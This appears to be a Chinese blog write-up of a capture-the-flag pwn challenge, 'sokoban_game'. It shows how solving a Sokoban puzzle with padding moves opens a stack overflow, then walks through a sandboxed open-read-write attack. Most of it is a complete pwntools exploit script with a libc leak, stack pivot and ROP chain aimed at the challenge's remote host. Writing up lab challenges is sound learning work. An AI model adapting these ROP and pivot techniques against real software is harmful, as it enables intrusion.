攻防世界 Pwn题 sokoban_game题解

image

题目分析:

拿到该题,只有一个可执行附件

image

 老样子拖入虚拟机中查看基本信息

64位无栈保护,开启了NX

image

 我们用IDA打开看看是什么情况

image

image

发现有点混乱而且并不好直接看出来,唯一明显的就是最后的栈溢出位置,问题是我们如何绕过上方的检查,并且使v10的值能够给我们提供足够的空间呢?

我们运行一下:

image

 发现其运行起来的界面就是上面的图所示

结合题目的名字,推箱子游戏?

我们不妨尝试一下按wsad上下左右方向键来把箱子都推到圆圈位置

image

咦,我们发现我们走到了read函数,即到了我们可以进行栈溢出的部分,这说明这个混乱的代码逻辑就是判定推箱子游戏的胜利

那我们再来观察一下v10的变化条件

 

image

 哦,我们走的步数可以增加v10的值,因为他没有检测重复走的情况,所以我们可以先走很多无用步数来增加v10的值

最后再输入一组我们记录下来的正确解,即可走到栈溢出位置并且获得足够的溢出长度

 

但事情好像没我们想得如此简单,这道题还开了沙箱

image

image

 这个沙箱还是很明确的,最基本的orw操作即可

因为程序只有一次输入并且没有可用于泄露的栈地址空间,所以利用到了栈迁移

解题思路:

我们的核心思路就是:

溢出通过ret2libc泄露libc地址,然后利用栈迁移到其他可读可写的地方——0x602500

在这里继续输入数据,然后溢出,这里通过得到的libc地址获取的open,read,write函数的地址

然后写入orw的rop链读取flag即可

 查看可读可写段,用于我们布置orw的rop,这是因为程序开了NX,故我们不能再依赖pwntools里的工具了

image

经测试远程环境的libc版本为

2.27-3ubuntu1.6_amd64 或者2.27-3ubuntu1.5_amd64

有一个坑点就是我不清楚为什么libc的open函数会找到openat函数,导致我用到了syscall系统调用来调用open函数

 payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret) 

剩下的都是正常套路

image

 

exp:

 1 from pwn import *
 2 from LibcSearcher import *
 3 
 4 context.log_level = 'debug'
 5 context.arch = 'amd64'
 6 context.os = 'linux'
 7 
 8 #io = process('./sokoban')
 9 io = remote('61.147.171.35', 57783)
10 elf = ELF('./sokoban')
11 libc = ELF('/home/kali/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
12 fake_rbp = 0x602500
13 pop_rdi_ret = 0x0000000000400f63
14 puts_plt = elf.plt['puts']
15 puts_got = elf.got['puts']
16 
17 
18 
19 # 方向键映射
20 MOVE_UP = b'w'
21 MOVE_DOWN = b's'
22 MOVE_LEFT = b'a' 
23 MOVE_RIGHT = b'd'
24 
25 # 推箱子解法
26 solution_moves = [
27     MOVE_RIGHT, MOVE_RIGHT, MOVE_UP, MOVE_UP, MOVE_UP, MOVE_UP,
28     MOVE_DOWN, MOVE_DOWN, MOVE_RIGHT, MOVE_UP, MOVE_UP, MOVE_DOWN,MOVE_DOWN,
29     MOVE_LEFT, MOVE_DOWN, MOVE_DOWN, MOVE_RIGHT, MOVE_UP, MOVE_UP, MOVE_UP,
30     MOVE_DOWN, MOVE_DOWN, MOVE_DOWN, MOVE_RIGHT, MOVE_UP, MOVE_UP
31 ]
32 
33 # 添加冗余移动来增加步数
34 current_steps = len(solution_moves)
35 required_steps = 2000  # 确保足够覆盖返回地址
36 
37 padding_moves = []
38 if current_steps < required_steps:
39     padding_count = required_steps - current_steps
40     # 在安全位置来回移动(比如右下角空地)
41     for i in range(padding_count // 2):
42         padding_moves.append(MOVE_RIGHT)
43         padding_moves.append(MOVE_LEFT)
44 
45 all_moves = padding_moves + solution_moves
46 
47 
48 io.recv()
49 for move in all_moves:
50     io.send(move)
51 
52 
53 """
54 1 - libc6_2.27-3ubuntu1.6_amd64
55 2 - libc6_2.27-3ubuntu1.5_amd64
56 """
57 io.recvuntil("Hero,Please leave your name:")
58 
59 lea_read = 0x400BF9
60 #泄露libc地址 + 栈迁移
61 payload = b'a'*0x130 + p64(fake_rbp) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(lea_read)
62 io.send(payload)
63 sleep(0.2)
64 puts_addr = u64(io.recvline().strip().ljust(8, b'\x00'))
65 success("puts_addr: " + hex(puts_addr))
66 libc_base = puts_addr - libc.symbols['puts']
67 success("libc_base: " + hex(libc_base))
68 #借用libc寻找我们需要的rop
69 syscall_ret = libc_base + 0x00000000000d2625
70 pop_rdi = 0x000000000002164f + libc_base
71 pop_rsi = 0x0000000000023a6a + libc_base
72 pop_rdx = 0x0000000000001b96 + libc_base
73 pop_rax = 0x000000000001b500 + libc_base
74 
75 read_addr = libc_base + libc.symbols['read']
76 write_addr = libc_base + libc.symbols['write']
77 
78 #orw
79 flag_addr = 0x6025b0
80 payload = b'a'*0x130 + p64(fake_rbp)
81 payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
82 payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(fake_rbp) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
83 payload += p64(pop_rdi) + p64(1) + p64(pop_rdx) + p64(0x100) + p64(write_addr) + b'./flag\x00\x00'  
84 
85 io.send(payload)
86 
87 
88 io.interactive()

 

posted @ 2025-11-20 23:21  北冰洋回去  阅读(15)  评论(0)    收藏  举报